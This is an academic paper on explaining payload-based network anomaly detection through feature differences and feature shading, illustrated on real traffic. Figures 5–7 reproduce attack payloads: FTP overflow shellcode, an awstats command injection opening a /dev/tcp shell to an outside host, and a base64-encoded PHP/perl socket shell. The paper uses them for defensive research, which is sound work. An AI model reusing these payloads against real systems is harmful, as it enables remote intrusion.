
Visualization and Explanation of Payload-Based Anomaly Detection

Konrad Rieck
Machine Learning Group

Berlin Institute of Technology
Berlin, Germany

Pavel Laskov
Wilhelm-Schickard-Institute

University of Tübingen
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Abstract—The threat posed by modern network attacks
requires novel means for detection of intrusions, as regular
signature-based systems fail to cope with the amount and
diversity of attacks. Recently, several methods for detection
of anomalies in network payloads have been proposed to
counteract this threat and identify novel attacks during their
initial propagation. However, intrusion detection systems must
not only flag malicious events but also provide information
needed for assessment of security incidents. Previous work on
payload-based anomaly detection has largely ignored this need
for explainable decisions. In this paper, we present instruments
for visualization and explanation of anomaly detection which
can guide the decisions of a security operator. In particular,
we propose two techniques: feature differences, for identifying
relevant string features of detected anomalies, and feature
shading, for highlighting of anomalous contents in network
payloads. Both techniques are empirically evaluated using real
attacks and network traces, whereby their ability to emphasize
typical patterns of attacks is demonstrated.

Keywords-anomaly detection; network intrusion detection

I. INTRODUCTION

A plethora of security threats, ranging from zero-day ex-
ploits crafted for stealthy compromises to computer worms
capable of mass-infections, plagues computer systems linked
to the Internet. Proliferation of these threats is driven by
a criminal economy that rests on “business models” such
as gathering of confidential data, disruption of services or
distribution of spam messages. Moreover, a significant effort
to further advance network attacks and intrusion techniques
is observable [e.g., 1–3].

Current products for intrusion detection are mainly based
on the concept of misuse detection. They recognize attacks
using known patterns of misuse, so-called signatures. Al-
though signature-based detection is effective against known
attacks, it inherently lags behind attack development and
fails to protect from novel threats. Crucial time elapses
between discovery of a new attack and deployment of a
signature, as the attack needs to be manually inspected and
an appropriate signature crafted. Often this delay is too large,
and numerous examples exists of network attacks defeating
regular defenses with severe damage [e.g., 4; 5].

The detection of novel and unknown attacks has been
addressed by recent work on self-learning intrusion detection
systems. Several approaches have been proposed to automat-
ically identify anomalous contents in network payloads, thus

providing an instrument for detection of new attacks during
their initial propagation [e.g., 6–11]. All these methods share
the sample concept: a network payload (the data contained
in a packet, request or connection) is compared against a
learned model of normality, where strong deviation indicates
unusual activity and a potential attack. Examples of such
self-learning methods are PAYL [12], Anagram [13] and
McPad [14]. However, network intrusion detection systems
must not only flag malicious events but also provide infor-
mation needed for assessment of security incidents: Why has
a network payload been flagged as anomalous? Which parts
of the payload have triggered the anomaly? Previous work
on payload-based anomaly detection has largely ignored this
need for explainable decisions.

The contribution of this paper are novel techniques for
visualization and explanation of payload-based anomaly de-
tection which, as a complementary instrument, can guide the
diagnostics of security incidents. We present the techniques
of feature differences for visualization of string features
indicative for a detected anomaly and feature shading for
highlighting of anomalous contents in network payloads.
Our visualization methods are based on the embedding of
network payloads in vector spaces, which enables not only a
geometric interpretation and design of anomaly detection but
also provides means for tracing anomalies back to individual
content features. As a result, our visualization techniques
constitute a generic framework into which other anomaly
detection methods, e.g., PAYL, Anagram or McPad, can be
built in. The proposed techniques are empirically evaluated
using real attacks and network traffic, where they emphasize
typical patterns of network attacks.

This paper is organized as follows: The concept of em-
bedding of network payloads in vector spaces is introduced
in Section II and methods for geometric detection of anoma-
lous payloads are discussed in Section III. Techniques for
visualization of detected anomalies are then presented in
Section IV and illustrated using payloads of real network
attacks. Finally, related work is discussed in Section V and
Section VI concludes.

II. EMBEDDING NETWORK PAYLOADS

The detection and visualization of anomalous payloads
requires a unified representation of network contents, jointly



accessible to means of intrusion detection and visual anal-
ysis. To this end, we propose a technique for embedding
of network payloads in vector spaces, such that anomalies
can be identified geometrically and traced back to individual
substrings for visualization.

In a generic view, a network payload corresponds to a
simple string, where its content can be characterized by
contained substrings. For example, the substrings “GET”,
“POST” and “HEAD” play an important role in the semantics
of the HTTP protocol. Therefore, we characterize and embed
payloads in vector spaces using a set of predefined strings,
so-called string features S, a concept originating from the
domain of information retrieval [see 15; 16]. For network
intrusion detection, however, it is impossible to define a
set S a priori, simply because not all relevant strings are
known in advance. For instance, typical patterns of zero-day
attacks are not available prior to their public disclosure. To
solve this problem we define the set S implicitly and avoid
an explicit enumeration of contained elements. There exists
several possibilities for implicit definitions; we herein focus
on two concepts of string features which have been widely
studied in the context of payload-based anomaly detection:
tokens [6; 7; 9; 10] and q-grams [8; 12–14].

Tokens: Several network protocols at the application
layer, ranging from first versions of FTP to the modern
signaling protocols, employ a textual representation, that is,
their semantics are encoded by textual tokens and words.
A set S in this view corresponds to strings separated by
delimiter symbols D and is defined as

S := ({0, . . . , 255} \D)∗. (1)

We refer to the elements of S as tokens. Note that S
comprises all possible strings separated by D and thus
has an infinite size. The delimiters D corresponding to a
protocol are usually provided along with its specification.
For example, the HTTP protocol (RFC 2616) lists the
following delimiter symbols

D := {()<>@,;: \ "/[]?= { } SP HT CR LF } .

where the symbol SP denotes a space, HT a horizontal
tabulator, CR a carriage return and LF a line feed.

Q-grams: Tokens are intuitive to the human analyst,
yet they are inappropriate if the considered protocol does
not employ a textual representation. An alternative technique
for implicit definition of S are q-grams (also referred to
as n-grams). Instead of partitioning a payload into tokens,
substrings are extracted by moving a sliding window over
the payload, where at each position a substring of length q
is considered. Formally, the set S of features corresponds to
all possible strings of length q and is defined by

S := {0, . . . , 255}q. (2)

Using a set of string features S, a payload x can be
mapped to an |S|-dimensional vector space, where each

dimension is associated with a string s ∈ S. Thus, we define
a corresponding embedding function ϕ function as follows

ϕ : X → R|S|, ϕ : x 7→ (ϕs(x))s∈S , (3)

where X is the domain of all payloads and ϕs(x) returns
the number of occurrences of the string s in the payload x.
Alternatively, ϕs(x) may correspond to the frequency, the
probability or a binary flag associated with the occurrences
of s in x. The function ϕ generalizes previous work on
payload-based anomaly detection, where q-grams and tokens
have been mainly studied without noticing underlying vector
spaces. As a result, several related methods for anomaly
detection indirectly employ the proposed embedding and can
be expressed in terms of ϕ, as we will see shortly.

To illustrate how payloads are embedded in a vector
spaces, let us consider an artificial payload x =“aabaab”,
where we restrict the set of possible bytes to “a” and “b”.
The following example shows how x is mapped to a vector
using 2-grams as string features:

ϕ( “aabaab” ) 7−→


2
2
1
0


“aa”
“ab”
“ba”
“bb”

In practice, we are required to consider all 256 byte values
and thus have to operate with 256q-dimensional vectors for
q-grams and even infinite dimensional vectors for tokens.
At a first glance efficient computation and visualization in
such high-dimensional spaces seem impossible. However,
a payload of length n comprises at most O(n2) different
substrings and there exist only O(n) tokens and q-grams in
a single payload. As a consequence, the map ϕ is sparse,
that is, the vast majority of dimensions is zero. For example,
a payload of 500 bytes contains at most 500 q-grams or
tokens. This sparsity can be exploited to derive linear-
time algorithms for extraction and comparison of embedded
vectors. Instead of operating with full vectors, only non-zero
dimensions are considered, where the extracted strings as-
sociated with each dimension can be maintained in efficient
data structures, such as hash tables [17], Bloom filters [13]
or retrieval trees [9]. A generic discussion and quantitative
evaluation of the underlying algorithms and data structures
is provided in [18].

III. PAYLOAD-BASED ANOMALY DETECTION

The embedding of network payloads induces a geometry
in the vector space, reflecting characteristics captured by the
string features in S. For instance, payloads sharing several
substrings appear close to each other, whereas network
payloads with different content exhibit larger geometric dis-
tances. This vectorial representation of network data enables
us to express the task of anomaly detection geometrically
and allows us to show that several related methods are
special cases of our framework.



(a) Global detection (b) Local detection

Figure 1. Geometric anomaly detection

Generally, anomaly detection aims at identifying events
which deviate from a model of normality determined from
a sample of normal data. As we are operating in a vector
space, it is natural to define this model of normality as
a reference vector θ ∈ R|S|, which depending on the
detection concept is adapted to represent normality. Using θ
the deviation of a network payload z from normality can be
simply expressed as an anomaly score

A(z) := ||ϕ(z)− θ||, (4)

where || · || is a distance function in the vector space, such as
the Euclidean distance. By adapting the definition of the em-
bedding ϕ, the reference vector θ and the distance function,
we can rephrase and finally visualize common payload-based
detection methods using geometric embedding, where we
focus on two generic concepts of anomaly detection—global
detection and local detection—which have proved effective
detection of unknown attacks in a recent evaluation on real
network traces [19].

A. Global Anomaly Detection

Network attacks often significantly deviate from normal
traffic. For example, many buffer overflow attacks exhibit
uniform byte patterns, which infrequently occur in legiti-
mate payloads. Such deviation can be identified by global
anomaly detection, where θ captures properties shared by the
majority of data. An intuitive geometric shape reflecting this
concept is a hypersphere—a sphere in a multi-dimensional
vector space. Normality is modeled by placing a hypersphere
around the vectors of network payloads and deviation is
determined by the distance from the center of the hyper-
sphere. Figure 1(a) illustrates a hypersphere enclosing a set
of points, where anomalies are identified by large distances
from the center.

A simple instance of global detection is realized by
placing a hypersphere at the center of mass of data, where
the reference vector θ reflects the average properties of the
provided training data. Mathematically, the center of mass
is defined for a set of n payloads {x1, . . . , xn} as follows

θ :=
1
n

n∑
i=1

ϕ(xi). (5)

This definition of global anomaly detection has been
applied in several approaches for payload-based detection.
For example, the method PAYL [12] can be expressed as
global anomaly detection if the embedding function ϕ is
defined over 1-grams and adapted, such that each dimension
is scaled using its standard deviation. Similarly, the method
Anagram can be realized by defining ϕ to return binary
values for q-grams and replacing the Euclidean distance in
Equation (4) with the similarity coefficient proposed in [13].

The center of mass provides a simple approach for global
anomaly detection. If the embedded data, however, does
not exhibit a clear center, the resulting model may be too
loose for accurate prediction of anomalies. As an alternative,
the reference θ can be defined as a linear combination of
embedded payloads by

θ :=
n∑

i=1

αiϕ(xi), (6)

where αi ∈ R are coefficients assigned to each network
payload in the training set. Based on this generic definition
we can determine a hypersphere that encloses the embedded
payloads with minimum volume, thus capturing normality
in a tight representation. This model is referred to as one-
class support vector machine [20; 21] and implemented
in the detection method McPad [14]. The task of learn-
ing a minimum-volume hypersphere can be phrased as
an optimization problem which returns assignments for all
coefficient αi. A discussion of efficiently using this method
for anomaly detection is provided in [22].

B. Local Anomaly Detection.

The model of a hypersphere discussed so far describes
normality in a global manner. However, network traffic may
be inherently heterogeneous, such that no global model can
be derived with sufficiently low complexity. For example,
if a Web server provides multiple virtual hosts, geometric
representations of network payloads might be scattered in
various clouds of points, each characterized by different
shape and density. A method for local detection of anomalies
can be derived from the concept of k-nearest neighbors [23]:
The deviation of a novel payload is evaluated using the
average distance to its k-nearest neighbors in a training
set. Figure 1(b) illustrates this concept, where anomalies
deviate from normality in that they show a large distance
to respective neighboring points.

Formally, we first need to define the notion of neighbors.
Given a set of n payloads {x1, . . . , xn} and a query instance
z, we define a permutation π which sorts the embedded
payloads according to their distance from the feature vector
ϕ(z). The k-nearest neighbors of ϕ(z) then correspond to
the first k elements of the permutation π given by π[1..k].



Using π, we define our reference vector θ as follows

θ :=
n∑

i=1

I(i)ϕ(xi) with I(i) =

{
1
k i ∈ π[1..k]
0 i 6∈ π[1..k]

(7)

where the indicator function I(i) return 1/k for the k-nearest
neighbors of z and 0 otherwise.

In comparison to global anomaly detection, the refer-
ence θ depends on the current network payload z and its
neighborhood, describing a local notion of normality. While
such local representation of normal data may better fit the
heterogeneous nature of network traffic, computing θ for
each payload is computationally more involved. Neverthe-
less, this detection setting has been successfully applied in
several systems for intrusion detection where network data
is heterogeneous [e.g., 9; 24; 25].

IV. VISUALIZATION TECHNIQUES

So far we have discussed how network payloads are
embedded in vector spaces and how anomaly detection
can be expressed geometrically as distance to a reference
vector. We now exploit this setting to derive visualiza-
tions for payload-based anomaly detection. In particular,
we decompose the distance function in the induced vector
space, such that anomalies can be traced back to individual
features in network payloads. Based on this decomposi-
tion we first introduce a visualization of relevant payload
features (Section IV-B) and then derive a technique for
coloring of anomalous contents in network payloads (Sec-
tion IV-C). Before presenting these concepts, we introduce
two exemplary data sets of network traffic, which are used
to immediately illustrate the proposed visualizations along
their formal definitions. Although the presented methods are
applicable to arbitrary network payloads, we focus on text-
based protocols as the corresponding visualizations yield
concise presentations which are easier to interpret.

A. Exemplary Network Data

For presentation of visualization and explanation tech-
niques, we consider two data sets of network traffic com-
prising 10 days of HTTP and FTP connections, respectively.
A description of the data sets is provided in Table I.

HTTP data FTP data
Data set size (connections) 145,069 21,770
Recording period April, 2007 January, 2003
Recording location www.first.fhg.de ftp.lbl.gov

Table I
DESCRIPTION OF HTTP AND FTP DATA SETS. HTTP TRAFFIC HAS
BEEN RECORDED AT A FRAUNHOFER INSTITUTE FIRST AND FTP

TRAFFIC AT LAWRENCE BERKELEY NATIONAL LABORATORY [26].

Moreover, we artificially create anomalous payloads using
three typical network attacks listed in Table II. The attacks
have been selected from a large set of recent HTTP and FTP

attacks [19] and correspond to a typical buffer overflow, a
shell command injection and a PHP code injection.

Name Attack type Protocol CVE
serv-u_ftpd Buffer overflow FTP 2004-0330
awstats Command injection HTTP 2005-0116
php_pajax PHP code injection HTTP 2006-1551

Table II
EXEMPLARY NETWORK ATTACKS. THE ATTACKS HAVE BEEN SELECTED

FROM A SET OF RECENT HTTP AND FTP NETWORK ATTACKS [19].

To implement a simple anomaly detection setting, we con-
sider the incoming contents of TCP connections as network
payloads, where we apply a common network library1 to
reassemble the data of individual packets. Each network
payload is embedded to a vector space using frequencies of
3-grams (see Section II). A sample of 2,500 vectors is then
randomly drawn for each data set and used to determine the
center of mass as a reference vector θ (see Section III-A). In
a large empirical evaluation this anomaly detection setting
enabled a detection of 80–97% unknown attacks with less
than 0.002% false positives [19], similarly to other payload-
based detection methods, such as PAYL [12], Anagram
[13; 27] and McPad [14].

B. Feature Differences

As first visualization we introduce the technique of feature
differences which has been originally introduced for deter-
mining discriminative q-grams in network traffic [9]. In our
geometric setting, the task of anomaly detection is defined
in terms of a vectorial distance function. As a result, we
can express the anomaly score A(z) using the individual
dimensions of R|S| as follows

A(z) = ||ϕ(z)− θ|| =
√∑

s∈S

(ϕs(z)− θs)
2 (8)

where || · || corresponds to the Euclidean distance. In the
last term the squared differences for each string feature s
are aggregated over all features S. We can evaluate these
differences individually to identify features that strongly
contribute to the anomaly score A(z). Given a network
payload z and a reference vector θ, we determine a vector δz

of squared differences defined by

δz := (ϕs(z)− θs)
2
s∈S . (9)

We refer to δz as the feature differences of the network
payload z. The entries of δz reflect the individual contribu-
tion of each string feature to the deviation from normality
represented by θ. Different learning models for anomaly
detection can be visualized by adapting the reference vector
θ. While we restrict our discussion to the Euclidean distance,
other distance functions and similarity measure can be
decomposed in a similar way [see 18].

1Libnids, http://libnids.sourceforge.net.



For visualization, δz is plotted such that the string features
are listed on the x-axis and the respective differences are
shown on the y-axis. The features contained in an anomalous
payload are of particular importance for assessing a security
incident, thus features present in θ only are omitted from
visualization. Moreover, to provide an immediate overview
of relevant features the differences with the highest peaks
are labeled using the respective string features from S.

Examples of Feature Differences: Figures 2–4 depict
feature differences of the three network attacks listed in
Table II using 3-grams as string features and the center
of mass as reference vector. The corresponding network
payloads will be illustrated later in Figures 5–7 when we
introduce the technique of feature shading.
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Figure 2. Feature differences of buffer overflow attack
(serv-u_ftpd). The plot shows feature differences to normal
3-grams and is scaled to the interval [0,1].

The first attack visualized in Figure 2 exploits a buffer
overflow in the implementation of a popular FTP server
(serv-u_ftpd). The attack is padded to provoke an over-
flow using the patterns “AAA” and “111”, which is reflected
in corresponding peaks in the difference plot. Padding is
typical for overflow attacks and indicated by distinct peaks in
feature differences. To obstruct such analysis, some attacks
are constructed using random patterns, for example induced
by polymorphic shellcodes or payload encoders. In these
cases the differences of features are distributed uniformly,
however, again resulting in an indicative visualization.
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Figure 3. Feature differences of command injection attack (awstats).
The plot shows feature differences to normal 3-grams and is scaled to the
interval [0,1].

Figure 3 shows the difference plot of a command injection
attack (awstats). The attack exploits an insecure handling
of input parameters to pass shell commands to an HTTP
server. The transferred commands are mapped to the stan-
dard URI scheme, which replaces reserved characters by

the symbol “%” and an hexadecimal value. For example,
“%20” denotes a space symbol, “%3b” a semi-colon, “%26”
an ampersand and “%27” an apostrophe. Feature differences
in these patterns are indicative for shell commands in HTTP
requests. In particular, the semi-colon and ampersand are
characteristic for shell commands as they reflect specific se-
mantics of the shell syntax. While similar string patterns can
be also observed in legitimate traffic, the high differences in
Figure 3 clearly indicate an anomalous activity.

As a last example Figure 4 illustrates the feature dif-
ferences of a PHP code injection attack (php_pajax). A
vulnerability in the Pajax framework is exploited, which
allows the remote execution of PHP functions. To avoid the
URI encoding discriminative for the example in Figure 3,
the PHP functions are obfuscated using a standard base64
encoding. Although the actual attack payload is hidden,
several peaks in the difference plot reflect the use of PHP
code. For example, several feature differences correspond to
typical patterns of PHP string arrays, such as “":”, “",”
and “, "”. Moreover, the name of the affected framework
is manifested in specific q-grams.
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Figure 4. Feature differences of PHP code injection attack
(php_pajax). The plot shows feature differences to normal q-grams
and is scaled to the interval [0,1].

The technique of feature differences provides an intuitive
visualization for detected anomalies. While we have focused
on 3-grams in our examples, all possible sets of string
features S can be visualized using this technique. Moreover,
by adapting the distance, the embedding and the reference
vector, feature differences can be easily computed for several
other anomaly detection methods.

C. Feature Shading

The technique of feature differences provides a versatile
tool for visualization of anomalous payloads using extracted
network features. In practice, a security operator may not
trust extracted characteristics alone and prefer to also inspect
the payload in question. To address this issue and save a
practitioner from extra work, we introduce the technique
of feature shading which overlays a network payload with
feature differences. The visualization allows for identifying
characteristics of a detected anomaly as well as inspecting
the full payload under investigation. This approach is in-
spired by recent visualization methods from bioinformatics
[see 28] where string patterns are overlaid for determining



discriminative motifs in DNA sequences—though our setting
is simpler in design and less computationally demanding.

The idea of “shading” is to assign a number mj ∈ R to
each position j of a payload reflecting its deviation from
normality, such that the visualization of the payload can
be overlaid with a color shading. If we consider a generic
definition of string features S, however, a single position j
can be associated with multiple strings, hence we define a
set Mj containing all strings s matching at position j of a
payload z by

Mj = { z[i . . . i + |s|] = s | s ∈ S } (10)

where z[i . . . i + |s|] denotes a substring of z starting at
position i. Each element of Mj is a string feature contained
in z which passes the position j. For example, if we have
z = “aabbaab” and q-grams with q = 3, the set M4

contains “abb”, “bba” and “baa”.
Using Mj we are able to determine the contribution of

a position j to an anomaly score. A feature shading mj is
constructed by determining the strings s ∈ S matching at
position j and averaging their contribution to an anomaly
score A(z), resulting in the following definition

mj =
1

|Mj |
∑

s∈Mj

−θ2
s . (11)

To support different anomaly detection methods, we again
make use of a reference vector θ. Note that the value
mj is negative, as it reflects the deviation of strings at
position j from normality. An abnormal pattern located at j
corresponds to low frequencies in the respective dimensions
of θ and results in a small value of mj , whereas a frequent
string is characterized by higher values in θ. By computing
mj for each position in a network payload z we are able to
assign a numerical quantity to each position, corresponding
to the abnormality of this position. A visualization is realized
by presenting an anomalous payload superposed with colors
corresponding to mj , where, for instance, dark color reflects
anomalous and light color normal regions.

Examples of Feature Shading: Figures 5–7 depict fea-
ture shadings of the network attacks studied in the previous
section. As reference vector the center of mass is applied,
where the payloads are again mapped to a vector space using
frequencies of 3-grams.

Figure 5 shows the shading of a buffer overflow attack
for an FTP server. The beginning of the FTP session in the
payload is lightly shaded, as the attacker issues benign FTP
commands, such as “USER” and “PASS”. The attacker then
triggers an overflow in the command “MDTM”. The respective
region in the network payload is indicated by dark shading,
covering the initial padding and continuing to a sequence of
malicious machine instructions referred to as shellcode.

The feature shading of a command injection attack is
visualized in Figure 6. The attack corresponds to a HTTP

USER anonymous..PASS <password>..CWD /pub/repositor ies/lbnl−

extras−RH73/RPMS/..TYPE I..PASV..LIST..P@SW..MDTM 2 003111111

1111+AAAAAAAAAAAAAAAAAAAAA..._.3321FG97u.FO9w.u...B B..BBw.@.

 /5321j$Y...t$.[.s.Q..|......9.|Q..9mZ.y).|....#q.x 5...}..S.

.US.V.YqP.x.j..x$4.#u.x............}.X.XU...5Z.L... p....!.>.

9.xu.Q#|Q...m...1......,9!.x............>...6....4. .|4321..

Figure 5. Feature shading of buffer overflow attack (serv-u_ftpd).
Dark shading indicates anomalous byte contents.

request, where the URI is flagged as anomalous by dark
shading, thus indicating the presence of abnormal q-grams.
The part ensuing the URI, however, is indicated as normal
region, as it mainly contains frequent HTTP patterns, such as
“Mozilla” and “Googlebot”. This example demonstrates
the ability of a shading to emphasize anomalous contents in
application payloads, while also indicating benign regions
and patterns.

GET /cgi−bin/awstats.pl?configdir=%7cecho%20%27YYY% 27%3b%200

%3c%26152−%3bexec%20152%3c%3e/dev/tcp/nat95.first.f raunhofer

.de/5317%3bsh%20%3c%26152%20%3e%26152%202%3e%26152%3b%20echo

%20%27YYY%27%7c HTTP/1.1..Host: www.first.fraunhofe r.de..Con

nection: Keep−alive.Accept: */*.From: googlebot(at) googlebot

.com.User−Agent: Mozilla/5.0 (compatible; Googlebot /2.1; +ht

tp://www.google.com/bot.html).Accept−Encoding: gzip .Content−

Type: application/x−www−form−urlencoded..Content−Le ngth: 0..

..

Figure 6. Feature shading of command injection attack (awstats).
Dark shading indicates anomalous byte contents.

As the third example Figure 7 depicts the feature shading
of a PHP code injection attack. Here, normal HTTP headers
are located between a malicious URI and an HTTP body
comprising obfuscated code. This partitioned design of the
command injection attack is clearly reflected in the shading,
where the URI and the body are indicated by dark shading.
Note that although parts of the attack have been obfuscated
the respective regions are correctly identified as anomalous
as they deviate from normal network traffic.

POST /pajax/pajax/pajax%5fcall%5fdispatcher.php HTT P/1.1..Ho

st: www.first.fhg.de..Connection: Keep−alive.Accept : */*.Fro

m: googlebot(at)googlebot.com.User−Agent: Mozilla/5 .0 (compa

tible; Googlebot/2.1; +http://www.google.com/bot.ht ml).Accep

t−Encoding: gzip.Content−Type: text/x−json..Content −Length: 

364....{ "id": "bb2238f1186dad8d6370d2bab5f290f71",  "classNa

me": "Calculator", "method": "add(1,1);system(base6 4_decode(

’cGVybCAtTUlPIC1lICckcD1mb3JrKCk7ZXhpdCxpZiRwO3doaW xlKCRjPW5

ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw1MzE3LFJldX NlLDEsTGl

zdGVuKS0+YWNjZXB0KXskfi0+ZmRvcGVuKCRjLHcpO1NURElOLT5mZG9wZW4

oJGMscik7c3lzdGVtJF8gd2hpbGU8Pn0n’));$obj−>add", "p arams": [

"1", "5"] }.

Figure 7. Feature shading of PHP code injection attack (php_pajax).
Dark shading indicates anomalous byte contents.

As an extension to feature differences, the visualization
technique of feature shading provides a valuable instrument
for further analysis of detected anomalies. By visualizing
a “colorful” network payload a security operator is able to



quickly identify relevant and malicious content in data, even-
tually enabling effective countermeasures. Consequently, the
decisions made by a payload-based detection system—so
far opaque to a security operator—can now be visually
explained, such that one can benefit from early detection
of novel attacks as well as an explainable detection process.

The application of feature differences and feature shading
is not restricted to anomaly-based detection methods. Misuse
detection systems based on signatures can also make use
of these techniques for visualization, if reported alerts are
equipped with discriminative string features. For example,
with only minor modifications a regular expression matching
a network payload can be overlaid using feature shading,
such that the detected attack contents can be quickly iden-
tified by a security operator.

V. RELATED WORK

Due to the complexity of network traffic and protocols,
visualization has been considered as a natural extension
to regular intrusion detection systems. In particular, for
high-volume traffic several approaches have been proposed
to visualize global security threats, such as network and
port scans [e.g., 29–31]. Graphical depiction of contents in
network payloads has been studied rarely. Closest to our
approach is the work of Axelsson [32], which visualizes
the decision of a Bayesian classifier using colored tokens of
HTTP requests. While this technique shares similarities with
feature shading, it is specifically tailored to the Bayesian
classifier, a supervised learning method trained using normal
data and known attacks. As a consequence, it is inappropriate
for detection of unknown attacks, whereas feature shading
is applicable to several anomaly detection method.

The technique of feature differences originates from the
work of Rieck and Laskov [9]. Network connections are
characterized by frequencies of contained q-grams, such
that typical patterns of attacks can be visualized. A further
approach for display of network contents has been proposed
by Conti et al. [33], where payloads are visualized using
frequencies of bytes. Both approaches resemble special cases
of our framework and correspond to feature differences
defined over q-grams. However, these approaches can not
be linked with an anomaly detection method and thereby
lack support for explaining decisions—a crucial property for
practical deployment supported by our approach.

VI. CONCLUSIONS

The growing amount and diversity of network threats
require novel means for early intrusion detection. Payload-
based anomaly detection has proved to be a viable alter-
native to signature-based systems and enables detection of
unknown and novel attacks during the initial propagation.
However, all of the previously studied detection methods
are originally opaque to a security operator and provide no
explanation for detected anomalies.

In this paper, we have addressed this issue and de-
vised generic techniques for visualization and explanation
of payload-based anomaly detection. Our visualizations are
based on a geometric representation of network payloads
in a vector space, such that the task of anomaly detection
and the subsequent inference of relevant features can be
expressed in terms of geometric relations and distances. The
vectorial representation allows tracing back the individual
contribution of string features to a detected anomaly and,
in the case of feature shading, provides a tool for enhanced
display of network contents. Moreover, the geometric em-
bedding enables us to provide visualizations for several
payload-based anomaly detection methods which resemble
special cases of our framework, such as PAYL, Anagram
and McPad.

The devised techniques demonstrate the ability of geo-
metric embedding to provide a versatile view on network
contents. For future work, we aim at extending our approach,
such that extracted features can be assembled to larger con-
structs and prototypes for visual, semi-automatic signature
generation.
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